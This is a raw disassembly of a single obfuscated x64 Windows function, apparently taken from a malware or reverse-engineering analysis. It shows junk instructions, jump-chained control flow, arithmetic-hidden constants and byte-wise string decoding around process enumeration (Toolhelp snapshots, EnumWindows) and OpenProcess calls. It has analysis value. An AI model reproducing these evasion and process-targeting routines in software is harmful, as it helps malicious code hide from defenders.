Function at 0x14008ad10
Capabilities:
Authenticate hmac
Enumerate gui resources
Enumerate processes

Disassembly:
xchg r10, rsp
mov rax, r10
xchg rsp, r10
xchg rbx, r14
mov qword [rax + 8], r14
xchg rbx, r14
jmp 0x14008af39
push r15
mov rsi, rsi
lea rbp, [rax - 0x208]
jmp 0x14008addc
cmp rdx, 0x1000
jb 0x14008ad7a
mov dword [rsp - 0x40], ebx
nop
add rdx, 0x2db553c8
sub rdx, 0x2db553a1
mov rcx, qword [rcx - 8]
jmp 0x14008ad62
mov dword [rsp - 0x2c], edx
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
mov rsp, rsp
ja 0x14008cb48
call fcn.1400dc808
jmp 0x14008adc3
lea r12, [rdi - 1]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp - 0x1c], edi
movsxd rcx, dword [rbp + 0x38]
cmp ecx, eax
jmp 0x14008aefb
lea rdx, [rbp + 0x1a4]
xchg rdi, rdi
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov byte [rsp + 0x20], 0x46
sub byte [rsp + 0x20], 0x28
sub byte [rsp + 0x20], 0x12
jmp 0x14008aec3
jmp 0x14008c71e
movaps xmmword [rsp - 0x48], xmm7
xchg rsp, rax
movaps xmmword [rax - 0x58], xmm8
mov rsp, rsp
jmp 0x14008ae26
add rsp, 0xfffffffffffffd20
xchg rdi, rax
movaps xmmword [rdi - 0x38], xmm6
xchg rdi, rax
xchg rsp, rax
jmp 0x14008adc8
mov qword [rsp - 8], r12
sub rsp, 8
push r13
nop
mov qword [rsp - 8], r14
sub rsp, 8
jmp 0x14008ad28
test eax, eax
jne 0x14008b033
test rcx, rcx
mov dword [rsp - 0x34], esp
je 0x14008c71e
jmp 0x14008afdf
mov rax, qword [0x140248220]
xor rax, rsp
xchg r9, rax
jmp 0x14008ae37
mov qword [rbp + 0x1a8], r9
xchg r9, rax
mov qword [rbp - 0x58], rdx
mov rcx, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
jmp 0x14008aee6
xchg rcx, r10
call sub.KERNEL32.dll_Process32First
xchg rbp, rbp
test eax, eax
je 0x14008bb50
xor edi, edi
mov dword [rsp - 0x34], esi
jmp 0x14008ad84
sar rax, 3
lea rdx, [rax*8]
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
jmp 0x14008ad39
lea rcx, [0x14008abc0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rcx, qword [rbp + 0x168]
mov dword [rsp - 0x20], ecx
jmp 0x14008ae0c
xor dword [rbp + 0x30], 0x5c3fb21e
sub dword [rbp + 0x30], 0x1149b0a6
xor dword [rbp + 0x30], 0x19a91121
jmp 0x14008af8f
xor byte [rsp + 0x20], 0x43
xor byte [rsp + 0x20], 0xa
sub byte [rsp + 0x20], 0xb
add byte [rsp + 0x20], 0x2d
xor byte [rsp + 0x20], 0x6d
sub byte [rsp + 0x20], 0xa
jmp 0x14008af7e
mov qword [rsp + 0x78], rax
mov dword [rsp - 0x24], 0x183a8ae5
test rax, rax
jmp 0x14008af4f
je 0x14008c71e
mov qword [rbp + 0x160], rcx
mov dword [rsp - 0x44], ecx
xorps xmm0, xmm0
xchg rbp, r9
jmp 0x14008af17
movdqu xmmword [r9 + 0x168], xmm0
xchg r9, rbp
mov qword [rbp + 0x178], rdi
mov rcx, rcx
lea rdx, [rbp + 0x160]
jmp 0x14008ae8c
xchg rdx, rsi
mov qword [rax + 0x18], rdx
xchg rsi, rdx
xchg rdi, r14
mov qword [rax + 0x20], r14
jmp 0x14008aff6
je 0x14008bd24
xor edx, edx
mov dword [rsp - 0x28], 0x67377d83
jmp 0x14008afb1
add r8d, 0x109bdef0
xor r8d, 0x978e2a7
sub r8d, 0x2129c780
jmp 0x14008b008
lea rdx, [rbp + 0x30]
xchg r10, rcx
mov r10, qword [rsp + 0x78]
jmp 0x14008ae56
xor dword [rbp + 0x30], 0x6dd5cf88
sub dword [rbp + 0x30], 0x59e260f
sub dword [rbp + 0x30], 0x33a80c83
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
jmp 0x14008ad9f
mov r8d, 0x4b2eee8
xor r8d, 0x5102e3b9
xor r8d, 0x5df1bbb9
xor r8d, 0x12c26c37
add r8d, 0x143b6a16
sub r8d, 0x1709f9da
jmp 0x14008af64
xchg rdx, rax
mov rdx, qword [rbp + 0x178]
xchg rdx, rax
sub rax, rcx
mov dword [rsp - 0x10], ecx
jmp 0x14008ae74
xchg r14, rdi
nop
sub rsp, 8
mov qword [rsp], rbp
nop
jmp 0x14008adf2
lea rcx, [rbp + 0x34]
mov dword [rsp - 0x1c], 0x23774a85
call fcn.1400df070
mov dword [rbp + 0x30], 0xcf299e5
xor dword [rbp + 0x30], 0x38f95907
xor dword [rbp + 0x30], 0x36b0eced
jmp 0x14008aea9
mov rbx, qword [rbp + 0x170]
mov dword [rsp - 0x10], 0x7e3cac4d
sub rbx, rcx
sar rbx, 1
sar rbx, 2
test rcx, rcx
je 0x14008b165
jmp 0x14008b5e5
lea rcx, [rbp - 0x7c]
mov r8d, dword [rbp + 0x160]
xchg rbp, rbp
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
mov r8, r8
jmp 0x14008b23e
mov dword [rsp - 0x44], edi
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008b6ed
mov r13, r13
add rdx, 0x27
jmp 0x14008b6d5
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov dword [rsp - 0x24], edx
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x14008b0fe
inc r8
mov r10, r10
cmp byte [rax + r8], 0
jne 0x14008b0c2
jmp 0x14008b483
xor qword [rbp + 0x178], 0x7dd77a95
xor qword [rbp + 0x178], 0x6da88b35
sub qword [rbp + 0x178], 0x1f4dcd41
jmp 0x14008b711
pand xmm2, xmmword [0x14010c300]
xchg r14, r14
packuswb xmm2, xmm2
jmp 0x14008b38e
mov dword [rsp - 0x14], 0x2319895a
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14008b2e6
call fcn.140018350
nop
lea rdi, [rbp + 0x180]
mov dword [rsp - 0x40], 0x47ae6a9e
xchg rsi, r11
mov r11, qword [rbp + 0x180]
xchg r11, rsi
jmp 0x14008b279
cmp rax, 0x1f
ja 0x14008cb48
xchg r15, r15
call fcn.1400dc808
test ebx, ebx
jmp 0x14008b43c
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14008b112
sub eax, 0x717a1509
movd xmm8, eax
mov rdx, rdx
movdqa xmm0, xmmword [str.2222222222222222]
xchg rbp, r14
movdqa xmmword [r14 + 0x160], xmm0
xchg r14, rbp
jmp 0x14008b05a
add qword [rbp + 0x198], 0x14eb5714
xor qword [rbp + 0x198], 0x29377e6a
mov byte [rbp + 0x180], bl
mov dword [rsp - 0x20], ecx
jmp 0x14008b6f7
test bl, bl
mov r15, r15
jne 0x14008c71e
mov r8d, dword [rbp + 0x38]
xor edx, edx
mov ecx, 0x5bde68d
add ecx, 0x25807c01
jmp 0x14008b596
sub rax, rcx
nop
add rax, 0xffffffffb6d16c88
sub rax, 0xffffffffb6d16c90
jmp 0x14008b153
xchg r8, rax
cmp rax, 0xffffffffffffffff
mov dword [rsp - 0x38], esp
je 0x14008c71e
lea rdx, [rbp + 0x1a0]
jmp 0x14008b50b
xchg r13, rdi
xchg rdi, rdx
mov qword [rbp + 0x190], rdx
xchg rdx, rdi
mov qword [rbp + 0x198], 0x696e32c6
jmp 0x14008b61d
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14008b664
lea eax, [rdx + 4]
movd xmm3, eax
xchg rcx, rcx
jmp 0x14008b370
movups xmmword [r10 - 0x80], xmm0
xchg rbp, r10
psrldq xmm0, 0xf
xchg rdi, rdi
movd eax, xmm0
xor edi, edi
jmp 0x14008b4f2
mov r15, qword [rbp + 0x198]
cmp r15, 0x10
mov rdx, rdx
cmovae rdi, rsi
lea rcx, [rbp + 0x180]
cmovae rcx, rsi
mov r14, qword [rbp + 0x190]
jmp 0x14008b4a2
xchg r14, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14008b2a5
lea rdx, [rbp + 0x5c]
mov dword [rsp - 0x44], esi
lea rcx, [rbp + 0x180]
jmp 0x14008b12c
mov r13, r13
cmp dword [rbp + 0x1a0], 0
jne 0x14008ca16
xchg rdi, r13
mov qword [rbp + 0x180], r13
jmp 0x14008b21e
pshuflw xmm0, xmm2, 0xd8
xchg r14, r14
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov r13, r13
packuswb xmm2, xmm2
jmp 0x14008b576
mov r14, r14
cmp ebx, 2
jl 0x14008b72e
movdqa xmm5, xmmword [0x14010c2c0]
jmp 0x14008b325
xchg rdi, rdi
mov edx, edi
movdqa xmm4, xmmword [0x14010e1a0]
jmp 0x14008b3f8
mov r13, qword [rbp + 0x178]
xchg r13, rdx
cmp rdx, 0x10
jb 0x14008b1cc
inc rdx
jmp 0x14008b07a
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
xchg r12, r12
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14008b6a7
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
xchg rsi, rsi
pmuldq xmm1, xmm4
jmp 0x14008b353
movd xmm0, r8d
paddb xmm2, xmm0
mov r13, r13
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
jmp 0x14008b3ab
neg edx
add edx, 0xfffffff8
neg edx
lea rcx, [rcx + 8]
jmp 0x14008b564
add eax, 0x63c3a1ed
sub eax, 0x593809c1
xor eax, 0x805e0e3
xor eax, 0x647dbefe
jmp 0x14008b17e
je 0x14008b6c6
sub rdi, rbx
mov dword [rsp - 0x18], 0x50eda804
movsx ecx, byte [rbx]
call fcn.1400a9060
mov byte [rbx + rdi], al
inc rbx
jmp 0x14008b5ad
mov r14d, 0x68290a0
add r14d, 0x42b7ed9f
sub r14d, 0x1cd6f282
sub r14d, 0x74793f
xor r14d, 0x3a49ec7
jmp 0x14008b54a
xchg rdx, rdx
cmp rdx, 0x1000
jb 0x14008b160
nop
add rdx, 0x8bd4e3e
jmp 0x14008b46f
je 0x14008c71e
mov dword [rsp - 0x1c], ebx
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], 0x7a2c965
add qword [rbp + 0x178], 0x713c3056
jmp 0x14008b5f7
sub rdx, 0x8bd4e17
mov rcx, qword [rcx - 8]
mov dword [rsp - 0x10], ebp
jmp 0x14008b1ed
lea rdx, [rbp + 0x5c]
lea rcx, [rbp + 0x160]
mov rsi, rsi
call fcn.140018350
lea rdx, [rbp + 0x160]
jmp 0x14008b68a
mov r15, r15
add r14, rcx
lea rbx, [rbp + 0x180]
cmp r15, 0x10
cmovae rbx, rsi
mov dword [rsp - 0x3c], 0x7aa2ab7f
cmp rbx, r14
jmp 0x14008b3d4
sub r14d, 0x274d3e37
movd xmm6, r14d
xchg rdx, rdx
movdqa xmm7, xmmword [0x14010e180]
mov eax, 0x7a01626b
sub eax, 0x1cd7c797
xor eax, 0x4f5f29dd
jmp 0x14008b3bb
mov ebx, dword [0x140248200]
xchg rsp, rsp
test al, al
je 0x14008b895
mov r8d, edi
jmp 0x14008b30c
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14008ca16
jmp 0x14008b2c7
add ecx, 0x495e19b7
sub ecx, 0x3954ca97
sub ecx, 0x1d83355b
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xchg rbx, rbx
xchg r8, rax
mov r13, r8
jmp 0x14008b202
add r14d, 0x3c32883b
sub r14d, 0x21601211
sub r14d, 0x1bd0c4a8
jmp 0x14008b4c7
mov dword [rsp - 0x10], esp
cmp edx, 0x10
jl 0x14008b069
jmp 0x14008ba7a
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
mov dword [rsp - 0x20], edx
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
jmp 0x14008b24f
add ecx, 0xec8da22
sub ecx, 0x209130d5
xor ecx, 0x14efede1
jmp 0x14008b525
mov dword [rsp - 0x2c], edx
cmp rbx, r14
jne 0x14008b3e5
xchg r15, r9
mov r9, qword [rbp + 0x198]
jmp 0x14008b6bc
xchg rbx, rax
sub rax, rcx
mov r10, r10
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
jmp 0x14008b41f
mov dword [rsp - 0x28], edi
xchg rbx, rax
mov rbx, qword [rbp + 0x178]
jmp 0x14008b5c9
sub qword [rbp + 0x178], 0x61a7870f
xor qword [rbp + 0x178], 0x11641f21
add qword [rbp + 0x178], 0x44a86404
jmp 0x14008b0d8
add qword [rbp + 0x198], 0x404c552
sub qword [rbp + 0x198], 0x1d4a5424
xor qword [rbp + 0x198], 0x2715caaf
xor qword [rbp + 0x198], 0x1a62c37c
sub qword [rbp + 0x198], 0x5b51636a
xor qword [rbp + 0x198], 0x64261ec
jmp 0x14008b1a7
xchg r8, r8
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov dword [rsp - 0xc], 0x3883f279
shufps xmm1, xmm0, 0xdd
jmp 0x14008b16c
lea rcx, [0x14024ae11]
xchg rsi, rsi
call fcn.14008a8d0
cmp eax, 1
setg bl
xchg r13, rdx
jmp 0x14008b337
movdqa xmm0, xmm1
xchg r9, r9
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14008b0a1
xchg r9, r15
mov rsi, qword [rbp + 0x180]
movups xmm0, xmmword [str.EWZXCYPTN]
xchg rbp, r10
jmp 0x14008b25e
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
mov r14, r14
cmp rax, 0x1f
ja 0x14008cb56
call fcn.1400dc808
jmp 0x14008b1cc
lea rax, [rbp + 0x5c]
xchg r8, r12
mov r12, r8
xchg r8, r12
nop dword [rax + rax]
jmp 0x14008b2a2
sub qword [rbp + 0x178], 0x3b3652e1
lea rax, [rbp + 0x5c]
xchg r12, r8
mov r12, r8
xchg r8, r12
jmp 0x14008b0c2
lea r9, [rbp - 0x80]
nop word [rax + rax]
mov dword [rsp - 0x14], 0x5b37751d
mov eax, 0x2320d04f
add eax, 0x4ad8d8b6
jmp 0x14008b82f
movdqa xmm5, xmmword [0x14010c2c0]
mov edx, edi
mov r8, r8
movdqa xmm4, xmmword [0x14010e1a0]
jmp 0x14008b858
mov dword [rsp - 0x14], 0x3fe7b751
nop
add edx, 0x1a4a435e
sub edx, 0x1a4a4356
lea rcx, [rcx + 8]
mov r13, r13
cmp edx, 0x18
jmp 0x14008ba82
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
mov dword [rsp - 0x34], 0x4ac1d4f2
sub al, cl
add al, 0x4b
jmp 0x14008b992
xor eax, 0x8435fa5
sub eax, 0x34e2384
mul r8d
mov rbp, rbp
jmp 0x14008b792
add r14d, 0x75076da5
sub r14d, 0x77eec14c
xor r14d, 0x1a35af8d
add r14d, 0x5b13c7c4
jmp 0x14008ba65
movdqa xmm0, xmm2
mov rdi, rdi
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x14008b8a7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov dword [rsp - 0x2c], 0x40399e68
jmp 0x14008b8ed
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov r12, r12
jmp 0x14008ba44
sub eax, 0x26876e3a
sub eax, 0x13527ae8
add eax, 0x26309093
jmp 0x14008b7b0
movsd qword [r13 - 0x40], xmm1
xchg rbp, r13
cmp byte [0x14011029f], 0
jmp 0x14008ba0b
movd xmm6, r14d
movdqa xmm7, xmmword [0x14010e180]
mov eax, 0x5371f212
add eax, 0x136e1b18
add eax, 0xccdbd19
sub eax, 0x31713f48
xor eax, 0x1d95fed
jmp 0x14008b9c9
cmp r8d, 0x10
jl 0x14008b745
mov dword [rsp - 0x28], 0x4de094a
mov r14d, 0x7d7d851a
xor r14d, 0x7eab9145
jmp 0x14008b7c5
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
xchg r11, r11
jmp 0x14008b8b7
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x18], 0x73dcc28
pmulld xmm0, xmm7
jmp 0x14008b922
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov dword [rsp - 0x10], esi
pshuflw xmm0, xmm3, 0xd8
jmp 0x14008b815
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
xchg rsi, rsi
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14008b8d6
call fcn.14008f490
mov dword [rsp - 0x34], esi
cmp rax, 0xffffffffffffffff
jne 0x14008c997
jmp 0x14008b9ab
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x20], 0x6082f292
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
jmp 0x14008ba26
xchg rdx, rdx
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x180]
jmp 0x14008b90a
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov r15, r15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x14008b7e6
lea rcx, [rbp - 0x4c]
mov r8, r8
mov r8d, dword [rbp + 0x160]
movd xmm2, edx
jmp 0x14008b95d
sub al, 0x19
xor byte [r9], al
mov dword [rsp - 0xc], 0x537c373d
inc r8d
lea r9, [r9 + 1]
jmp 0x14008b883
movups xmm0, xmmword [0x140110288]
movups xmmword [rbp - 0x50], xmm0
mov rbp, rbp
movsd xmm1, qword [0x140110298]
xchg r13, rbp
jmp 0x14008b843
sub eax, 0x43e5d4f7
movd xmm8, eax
movdqa xmm0, xmmword [str.2222222222222222]
mov dword [rsp - 0x38], edx
xchg rdx, rbp
movdqa xmmword [rdx + 0x160], xmm0
xchg rbp, rdx
jmp 0x14008b97b
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
xchg r14, r14
pmuldq xmm1, xmm4
jmp 0x14008b7fb
je 0x14008c447
mov r8d, edi
mov dword [rsp - 0x14], ebp
cmp ebx, 2
jl 0x14008baaf
jmp 0x14008b754
packuswb xmm2, xmm2
xchg rdx, rdx
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
jmp 0x14008ba8d
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
mov rsp, rsp
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
jmp 0x14008b76e
xor r14d, 0x6be7f910
add r14d, 0x31780adb
sub r14d, 0x4f80dac0
xor r8d, r8d
jmp 0x14008b94a
jl 0x14008b989
jmp 0x14008c447
mov dword [rsp - 0x14], edx
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
mov dword [rsp - 0x14], 0x4e8a321d
pshufd xmm3, xmm3, 0
jmp 0x14008b9f2
lea r9, [rbp - 0x50]
nop word [rax + rax]
mov eax, 0x2706338b
xor eax, 0x22d5fe70
add eax, 0x299f13b2
sub eax, 0x141f9d7f
jmp 0x14008c7f8
movdqa xmm3, xmmword [0x14010c2d0]
movdqa xmm1, xmm3
mov dword [rsp - 0x34], 0x3aa80a9e
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x14008bdcc
mov dword [rsp - 0x44], 0x76b3f88e
movdqa xmm2, xmmword [0x14010c2c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x14008be9a
call sub.KERNEL32.dll_Process32Next
mov dword [rsp - 0x3c], 0x2b9efc40
test eax, eax
jne 0x14008ad8a
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14008bd17
mov qword [rbp + 8], 0x5483840e
sub qword [rbp + 8], 0x39c466d2
add qword [rbp + 8], 0x4bdf89ff
sub qword [rbp + 8], 0x22d41c8c
add qword [rbp + 8], 0x6694aca
sub qword [rbp + 8], 0x12cb31ae
jmp 0x14008be0e
xor eax, 0x745a5bdb
sub eax, 0x19779294
add eax, 0x238e34c5
sub eax, 0xbd9b46c
sub eax, 0x179bef87
xor eax, 0x6aaf94bf
xor eax, 0x16c5f331
jmp 0x14008c06d
xchg rsi, rdi
mov qword [rbp + 0x28], 0x165d71
add qword [rbp + 0x28], 0x1df4154f
xor qword [rbp + 0x28], 0x90d313d
add qword [rbp + 0x28], 0x4a47382b
sub qword [rbp + 0x28], 0x24f574db
add qword [rbp + 0x28], 0x19b59ff3
jmp 0x14008c1ea
add byte [rsp + 0x28], 0x41
sub byte [rsp + 0x28], 0x16
add byte [rsp + 0x28], 4
xor byte [rsp + 0x29], 0x33
xor byte [rsp + 0x2a], 0x34
xor byte [rsp + 0x2b], 0x35
jmp 0x14008c0bf
movsd xmm0, qword [str.VKS_]
xchg rbp, rsp
movsd qword [rbp + 0x48], xmm0
xchg rbp, rsp
movzx eax, byte [0x1401102d8]
mov dword [rsp - 0x40], ebx
jmp 0x14008c12b
pmulld xmm0, xmmword [0x14010e180]
psubd xmm3, xmm0
mov dword [rsp - 0x10], ebp
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14008c614
xchg rbp, rbp
mov qword [rbp - 0x80], rax
lea rdi, [rbp - 0x30]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
jmp 0x14008be57
xor byte [rsp + 0x4c], 0x36
xor byte [rsp + 0x4d], 0x37
xchg rsp, rsp
xor byte [rsp + 0x4e], 0x38
xor byte [rsp + 0x4f], 0x39
jmp 0x14008bcb7
xor al, 0x3a
mov byte [rsp + 0x50], al
xchg r15, r15
mov qword [rbp - 0x10], rdi
xchg rdi, r13
mov qword [rbp], r13
xchg rdi, r13
jmp 0x14008bb60
mov word [rsp + 0x40], ax
movzx eax, byte [0x1401102ea]
mov byte [rsp + 0x38], 0x4f
jmp 0x14008c394
mov dword [rsp - 0x1c], ebp
movdqa xmm3, xmmword [0x14010c2d0]
movdqa xmm1, xmm3
jmp 0x14008c40d
mov dword [rsp - 0x40], 0x56b2e5fb
movzx eax, byte [rsp + 0x20]
xchg rcx, rdi
mov rdi, qword [rbp + 0x1a8]
xchg rdi, rcx
xor rcx, rsp
jmp 0x14008c694
cmp ebx, 2
mov r9, r9
jl 0x14008c5dc
jmp 0x14008c149
xchg rdx, rdi
mov qword [rbp - 0x20], rdi
mov dword [rsp - 0x20], ebp
mov qword [rbp - 0x18], 0x82e91c7
add qword [rbp - 0x18], 0x31218ea3
add qword [rbp - 0x18], 0x58a5b05
xor qword [rbp - 0x18], 0x6ea67144
jmp 0x14008befa
mov eax, 0x19ad1feb
sub eax, 0x1924f36c
xor eax, 0x35b21db0
add eax, 0x1888f0b3
sub eax, 0x6512f98
add eax, 0x752f965
jmp 0x14008c636
nop
mov r8, r8
inc r8
cmp byte [rax + r8], 0
jne 0x14008bda1
jmp 0x14008bfba
nop
mov r14, qword [rsp]
add rsp, 8
nop
mov r13, qword [rsp]
add rsp, 8
nop
jmp 0x14008c248
movdqa xmm0, xmm3
mov dword [rsp - 0x24], ebp
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
xchg rdi, rdi
psrad xmm1, xmm6
jmp 0x14008be37
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
mov r14, r14
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14010e180]
jmp 0x14008c72c
xor qword [rbp + 8], 0x6c827b1c
xor qword [rbp + 8], 0x5bead8d8
mov byte [rbp - 0x10], 2
xor byte [rbp - 0x10], 0x6f
xor byte [rbp - 0x10], 0x30
add byte [rbp - 0x10], 6
sub byte [rbp - 0x10], 0x4f
jmp 0x14008c871
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
jmp 0x14008c3f8
mov dword [rsp - 0x14], 0x732735d8
xchg r12, rbx
mov qword [rbp - 0x70], r12
xchg rbx, r12
mov qword [rbp - 0x68], rbx
lea rax, [rbp + 0x160]
jmp 0x14008bcfe
xor byte [rsp + 0x3b], 0x35
xor byte [rsp + 0x3c], 0x36
mov rdi, rdi
xor byte [rsp + 0x3d], 0x37
xor byte [rsp + 0x3e], 0x38
xor byte [rsp + 0x3f], 0x39
jmp 0x14008c4b7
mov rdx, rdx
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14008c5a4
mov dword [rsp - 0x38], ebp
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401102a0]
pxor xmm2, xmm1
mov dword [rsp - 0x40], 0x734eaa1c
movd dword [rsp + 0x68], xmm2
jmp 0x14008bad6
add qword [rbp - 0x18], 0x2e282068
xor qword [rbp - 0x18], 0xaa0fb44
xor qword [rbp - 0x18], 0x5ae3635a
add qword [rbp - 0x18], 0x2e244916
jmp 0x14008c6d8
mov dword [rsp - 0x30], ecx
movzx eax, r8b
sub al, cl
sub al, 0xd9
jmp 0x14008c817
xor byte [rsp + 0x38], 0x53
xor byte [rsp + 0x38], 0x21
add byte [rsp + 0x38], 0x50
xor byte [rsp + 0x39], 0x33
xchg r14, r14
xor byte [rsp + 0x3a], 0x34
jmp 0x14008be79
cmp rax, 0xffffffffffffffff
jne 0x14008c997
mov dword [rsp - 0x14], ebx
movsd xmm0, qword [0x1401102c0]
jmp 0x14008c786
lea r9, [rsp + 0x58]
mov dword [rsp - 0x10], ecx
add r9, rax
nop word [rax + rax]
mov eax, 0x6a2454c5
jmp 0x14008bb95
mov rsi, rsi
shr eax, 6
shr eax, 9
shr eax, 0xe
shr eax, 1
shr eax, 1
add edx, eax
jmp 0x14008c20f
mov dword [rsp - 0x14], 0x7fec92b7
xchg rsi, rcx
mov rcx, qword [r11 + 0x40]
xchg rsi, rcx
mov rdi, qword [r11 + 0x48]
jmp 0x14008c552
mov dword [rsp - 0x3c], ebp
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 0x30]
call fcn.140018350
mov dword [rsp - 0x10], 0x23af31ed
nop
jmp 0x14008bc18
sub eax, 0xd791c66
add eax, 0x14637f1a
xor eax, 0xc9855eb
xor eax, 0x1c0d70d6
jmp 0x14008c5e4
jl 0x14008c7d5
movdqa xmm4, xmmword [0x14010e1a0]
movd xmm6, r14d
mov rdx, rdx
mov eax, 0x58255913
jmp 0x14008c8c3
mov r12, r12
movd xmm1, dword [rsp + 0x5c]
pxor xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov r8d, 0x33652e63
sub r8d, 0x27e05624
jmp 0x14008c5c0
lea rax, [rsp + 0x48]
xchg r8, rdx
mov rdx, r12
jmp 0x14008c333
add al, 0x32
xor byte [r9], al
mov dword [rsp - 0x30], esi
jmp 0x14008c58e
xor eax, 0x37b1869d
imul r8d
sar edx, 4
mov dword [rsp - 0x40], 0x614a1640
mov eax, edx
shr eax, 1
shr eax, 0x1b
jmp 0x14008c8a2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
xchg rsi, rsi
psrld xmm0, xmm5
paddd xmm0, xmm1
jmp 0x14008bc3b
mov dword [rsp - 0x18], edi
xor byte [rsp + 0x2c], 0x36
xor byte [rsp + 0x2d], 0x37
xor byte [rsp + 0x2e], 0x38
jmp 0x14008c34e
mov dword [rsp - 0x18], ecx
movzx eax, word [0x1401102ac]
mov word [rsp + 0x74], ax
cmp byte [0x1401102ad], 0
xchg r10, r10
je 0x14008c57a
jmp 0x14008c45a
mov r10, r10
nop
add rsp, 8
mov r15, qword [rsp - 8]
jmp 0x14008bdb4
mov byte [rsp + 0x48], reloc.WS2_32.dll_select
xor byte [rsp + 0x48], 0x66
xor byte [rsp + 0x48], 0x51
xor byte [rsp + 0x48], 0x4b
sub byte [rsp + 0x48], 0x54
jmp 0x14008c160
movdqa xmm4, xmmword [0x14010e1a0]
movd xmm6, r14d
mov eax, 0x7852a4f0
jmp 0x14008bfda
xor byte [rsp + 0x48], 0x26
add byte [rsp + 0x48], 0x28
xor byte [rsp + 0x49], 0x33
xor byte [rsp + 0x4a], 0x34
mov dword [rsp - 0x38], edi
xor byte [rsp + 0x4b], 0x35
jmp 0x14008bc9b
lea rax, [rsp + 0x28]
xchg r12, r8
mov r12, r8
xchg r8, r12
jmp 0x14008bd9d
jne 0x14008c33e
lea rdx, [rsp + 0x48]
mov dword [rsp - 0x14], ecx
lea rcx, [rbp - 0x10]
call fcn.140018350
nop
jmp 0x14008c907
mov qword [rbp + 0x168], rax
lea rcx, [rax + 0x60]
mov rdi, rdi
xchg r11, rcx
mov qword [rbp + 0x170], r11
xchg rcx, r11
lea rax, [rbp + 0x160]
jmp 0x14008bc84
call fcn.1400dc7cc
mov r13, r13
xchg rbx, rsi
